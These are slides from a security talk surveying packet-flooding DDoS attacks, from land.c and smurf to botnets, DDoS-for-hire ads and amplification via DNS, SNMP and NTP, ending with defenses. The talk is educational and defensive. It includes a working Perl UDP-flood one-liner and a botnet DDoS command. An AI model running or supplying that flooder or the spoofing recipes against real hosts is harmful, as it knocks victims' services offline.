Packet Flooding DDoS Attacks

John Kristoff
jtk@cymru.com
Agenda

- Brief network DoS survey and topic introduction
- DDoS examples
- Defenses
- Depressing news (or opportunity?)
Definitions

• Packet
• Flooding
• Distributed
• Denial of Service (DoS)
• Attacks
When Magic Packets Attack
1997: land.c

- Source spoof TCP SYN to an open port at a victim
- Set source address = destination address
- Set source port = destination port
- Vulnerable hosts:
  - “preventing [...] connections for [...] 30 seconds”
  - “High CPU loads may result”
  - “a host can crash or ’hang’”
Amplification and Reflection
1997: smurf.c

- Source spoof ICMP echo request
- Set source address = victim address
- Set destination address = directed network broadcast
- Vulnerable networks:
  - “multiple replies to that host from a single packet”
  - “can cause network congestion or outages”
**DDoS botnets**

**1999: trinoo, TFN, stacheldraht**

- Command and control (C&C, C2) introduced
- A bot is now directed by controller to perform actions
- UDP flood, SMURF-style DoS, TCP SYN flood
- Precursor to:
  - IRC/HTTP/P2P C&C infrastructure
  - DDoS as a service, DDoS for hire
  - Botnets as a platform for all kinds of malfeasance
    - e.g. spam, keylogging, click fraud
...and Other Anomalies

- Backhoe fade
- Squirrel terrorist attacks
- Friday afternoon changes before a long vacation
10 lbs of Sand Into a 5 lb Bag
2001-ish: DoS @ DePaul
udp.pl

- UNIX-based cli UDP flooder
- root privs not required
- A few well connected hosts are quite effective

```perl
perl -MSocket -e \
  'socket(a,2,2,17);
  for(;;) {
    send(
      a,0,1000,
      sockaddr_in(
        80,inet_aton(ARGV[0]))
    )
  }
'`
Analysis Considered Harmful
sorry, no pics

• Watchful botmasters
• Storm Worm
Xbox “host boot”

- Warming up my BFG for CoD, Halo, ...
- A> !ddos.udp 192.0.2.1 3074 100000
- ...
- B1400> [DDoS]: DDoS Underway.
- Pfft... guess I'll go play chess
2007: DDoS For Hire

Good day!
New service that eliminates the sites of competitors is opened.
We provide quality ddos service.

Types of the attacks:
http
icmp
udp
syn

Price individually for each order, depending on the project.
Free test for verified people and major projects.
We reserve the right to refuse service without the explanation or reason.

If there are problems with our services we return your money.

Contacts:
596941
471833

The last time edited Zliden, by 19.08.2007 into 22:03. Reason: updated prices
DDoS Panel
Feb 2007 DNS Attacks
Hacktivists and Their Tools
Recent Targets

<table>
<thead>
<tr>
<th>Domain</th>
<th>Domain</th>
<th>Domain</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012.clttech.ru</td>
<td>bit.ly</td>
<td>crystalab.biz</td>
<td>darkmoney.cc</td>
</tr>
<tr>
<td>drelatu.net</td>
<td>durdom.in.ua</td>
<td>expack.org</td>
<td>exploit.in</td>
</tr>
<tr>
<td>forum.beznal.cc</td>
<td>forum.qrz.ru</td>
<td>forum.qrz.su</td>
<td></td>
</tr>
<tr>
<td>forum.rf-afi.ru</td>
<td>forumsoftaker.ru</td>
<td>gamhost.net</td>
<td>gazovikvent.ru</td>
</tr>
<tr>
<td>girlkieu.us</td>
<td>goo.gl</td>
<td>harddata.net</td>
<td>hotel10.ru</td>
</tr>
<tr>
<td>info.eb5info.com</td>
<td>infokam.ru</td>
<td>kgdink.ru</td>
<td>khoailac.us</td>
</tr>
<tr>
<td>kinsau.kz</td>
<td>los-technologies-inc.com</td>
<td>legalitolko.com</td>
<td>legalrc.biz</td>
</tr>
<tr>
<td>mmotop.ru</td>
<td>nakrala.in.ua</td>
<td>net-ack.ru</td>
<td></td>
</tr>
<tr>
<td>o-kvadrat.ru</td>
<td>obnalforum.com</td>
<td>opensochi.org</td>
<td>pmiinform.com</td>
</tr>
<tr>
<td>poroshki.tv</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>privatsochi.ru</td>
<td>root.in</td>
<td>rf-afi.ru</td>
<td>rfnw.ru</td>
</tr>
<tr>
<td>silverstructure.com</td>
<td>simprom.ru</td>
<td>spbautoparts.ru</td>
<td>stateki.net</td>
</tr>
<tr>
<td>truyen.vnsharing.net</td>
<td>tszdanini.ru</td>
<td>vipbook.info</td>
<td>vnsharing.net</td>
</tr>
<tr>
<td>vreditelyam.net</td>
<td>warepo.ch</td>
<td><a href="http://www.3doil.com.au">www.3doil.com.au</a></td>
<td><a href="http://www.4alarmclocks.com">www.4alarmclocks.com</a></td>
</tr>
</tbody>
</table>
Amplification/Reflection
Ongoing: Amplification/Reflection Threats

- DNS large RRsets (e.g. ANY, TXT)
- SNMP (e.g. GetBulkRequest)
- NTP (e.g. mode 7 requests)
- COD4 game servers
- IP multicast
Water = 60 Gb/s, You = Little Girl
Imperfect Defenses

• Filters
• Increased capacity
• Source address validation
• Rate limits
• Law enforcement
• Service distribution and replication
• Path pruning and isolation
If Only!!
Things You Might Ask Me About

• HYIP
• Nation state DDoS
• Anonymous versus Church of Scientology
• High-risk hosting
• DDoS attacks not (yet) deployed
• Investigation guidelines
• Becoming a miscreant
• Ideas that don't work
• Research opportunities